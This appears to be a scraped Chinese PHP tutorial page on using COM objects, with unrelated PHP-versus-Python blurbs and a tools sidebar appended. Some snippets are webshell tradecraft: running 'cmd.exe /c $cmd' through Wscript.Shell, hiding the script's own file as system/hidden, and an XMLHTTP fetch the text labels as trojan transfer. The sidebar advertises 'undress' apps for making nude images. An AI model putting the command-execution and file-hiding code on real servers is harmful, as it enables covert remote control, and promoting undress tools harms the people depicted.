在PHP 4.2.0 至 4.2.3中,可以使用w32api_register_function 函数调用外部的DLL,前提是需要在php.ini中打开扩展的php_w32api.dll。
如果使用的是PHP 5,调用DLL只有使用PHP的COM类了。
基本方法为:$obj = new COM("server.object")
显然COM类将php功能又提高了一大截。同时这个类将组件的PO调用方法改成了OO方法。
在使用COM类之前,确保下面3个条件:
1.启用组件:regsvr32 组件dll
2. 允许调用COM:php.ini中com.allow_dcom =true
3. 账户有权限访问组件
然后就可以直接使用php的com函数调用它了
$obj = new COM("ABC.MyObj"); //一般前边是主文件名、后边是类名,注册表里找这个文件可以找到
这样就生成了一个叫obj的对象,我们就可以用它的属性和方法来操作了
$obj->MyAttr='123';
$obj->SerAttr('str',0);
===================================================================================
一些例子:
$phpwsh=new COM("Wscript.Shell") or die("Create Wscript.Shell Failed!");
$phpexec=$phpwsh->exec("cmd.exe /c $cmd");
$execoutput=$wshexec->stdout();
$result=$execoutput->readall();
echo $result;
?>
$obj = new COM("server.object")
即可以使用COM对象的属性和方法。
下面以word为例
// 启动 word
$word = new COM("word.application") or die("Unable to instanciate Word");
print "ioaded Word, version {$word->Version}\n";
//将其置前
$word->Visible = 1;
//打开一个空文档
$word->Documents->Add();
//随便做些事情
$word->Selection->TypeText("This is a test...");
$word->Documents[1]->SaveAs("Useless test.doc");
//关闭 word
$word->Quit();
//释放对象
$word->Release();
$word = null;
?>
$com=new COM('Scripting.FileSystemObject'); // FSO要使用绝对路径的
$file=$com ->getfile(__FILE__); //绝对路径
$file ->attributes='6'; //修改属性为系统、隐藏
//常数 值 描述
//Normal 0 普通文件。不设置属性。
//ReadOnly 1 只读文件。属性为读/写。
//Hidden 2 隐藏文件。属性为读/写。
//System 4 系统文件。属性为读/写。
//Volume 8 磁盘驱动器卷标。属性为只读。
//Directory 16 文件夹或目录。属性为只读。
//Archive 32 文件在上次备份后已经修改。属性为读/写。
//Alias 64 链接或者快捷方式。属性为只读。
//Compressed 128 压缩文件。属性为只读。
?>
PHP隐藏文件的方法就是上面的代码了。
//这个就可以实现asp的XMLHTTP传马功能
$xmlhttp=new COM('Microsoft.XMLHTTP') or die("Create Microsoft.XMLHTTP Failed!");
$xmlhttp->open('GET','http://localhost/1.txt',false);
$xmlhttp->send();
echo $xmlhttp->responseText;
/*
XMLHTTP方法
Open(bstrMethod, bstrUrl, varAsync, bstrUser, bstrPassword)
bstrMethod: 数据传送方式,即GET或POST。
bstrUrl: 服务网页的URL。
varAsync: 是否同步执行。缺省为True,即异步执行。False,为同步执行。
bstrUser: 用户名,可省略。
bstrPassword:用户口令,可省略。
Send(varBody)
varBody:指令集。可以是XML格式数据,也可以是字符串,流,或者一个无符号整数数组。也可以省略,让指令通过Open方法的URL参数代入。
setRequestHeader(bstrHeader, bstrvalue)
bstrHeader:HTTP 头(header)
bstrvalue: HTTP 头(header)的值 如果Open方法定义为POST,可以定义表单方式上传:
xmlhttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded")
XMLHTTP属性
onreadystatechange:在同步执行方式下获得返回结果的事件句柄。只能在DOM中调用。
responseBody: 结果返回为无符号整数数组。
responseStream: 结果返回为IStream流。
responseText : 结果返回为字符串。
responseXML: 结果返回为XML格式数据。
*/
?>

What’s still popular is the ease of use, flexibility and a strong ecosystem. 1) Ease of use and simple syntax make it the first choice for beginners. 2) Closely integrated with web development, excellent interaction with HTTP requests and database. 3) The huge ecosystem provides a wealth of tools and libraries. 4) Active community and open source nature adapts them to new needs and technology trends.

PHP and Python are both high-level programming languages that are widely used in web development, data processing and automation tasks. 1.PHP is often used to build dynamic websites and content management systems, while Python is often used to build web frameworks and data science. 2.PHP uses echo to output content, Python uses print. 3. Both support object-oriented programming, but the syntax and keywords are different. 4. PHP supports weak type conversion, while Python is more stringent. 5. PHP performance optimization includes using OPcache and asynchronous programming, while Python uses cProfile and asynchronous programming.

PHP is mainly procedural programming, but also supports object-oriented programming (OOP); Python supports a variety of paradigms, including OOP, functional and procedural programming. PHP is suitable for web development, and Python is suitable for a variety of applications such as data analysis and machine learning.

PHP originated in 1994 and was developed by RasmusLerdorf. It was originally used to track website visitors and gradually evolved into a server-side scripting language and was widely used in web development. Python was developed by Guidovan Rossum in the late 1980s and was first released in 1991. It emphasizes code readability and simplicity, and is suitable for scientific computing, data analysis and other fields.

PHP is suitable for web development and rapid prototyping, and Python is suitable for data science and machine learning. 1.PHP is used for dynamic web development, with simple syntax and suitable for rapid development. 2. Python has concise syntax, is suitable for multiple fields, and has a strong library ecosystem.

PHP remains important in the modernization process because it supports a large number of websites and applications and adapts to development needs through frameworks. 1.PHP7 improves performance and introduces new features. 2. Modern frameworks such as Laravel, Symfony and CodeIgniter simplify development and improve code quality. 3. Performance optimization and best practices further improve application efficiency.

PHPhassignificantlyimpactedwebdevelopmentandextendsbeyondit.1)ItpowersmajorplatformslikeWordPressandexcelsindatabaseinteractions.2)PHP'sadaptabilityallowsittoscaleforlargeapplicationsusingframeworkslikeLaravel.3)Beyondweb,PHPisusedincommand-linescrip

PHP type prompts to improve code quality and readability. 1) Scalar type tips: Since PHP7.0, basic data types are allowed to be specified in function parameters, such as int, float, etc. 2) Return type prompt: Ensure the consistency of the function return value type. 3) Union type prompt: Since PHP8.0, multiple types are allowed to be specified in function parameters or return values. 4) Nullable type prompt: Allows to include null values and handle functions that may return null values.


Hot AI Tools

Undresser.AI Undress
AI-powered app for creating realistic nude photos

AI Clothes Remover
Online AI tool for removing clothes from photos.

Undress AI Tool
Undress images for free

Clothoff.io
AI clothes remover

Video Face Swap
Swap faces in any video effortlessly with our completely free AI face swap tool!

Hot Article

Hot Tools

MantisBT
Mantis is an easy-to-deploy web-based defect tracking tool designed to aid in product defect tracking. It requires PHP, MySQL and a web server. Check out our demo and hosting services.

Dreamweaver Mac version
Visual web development tools

SublimeText3 Mac version
God-level code editing software (SublimeText3)

PhpStorm Mac version
The latest (2018.2.1) professional PHP integrated development tool

WebStorm Mac version
Useful JavaScript development tools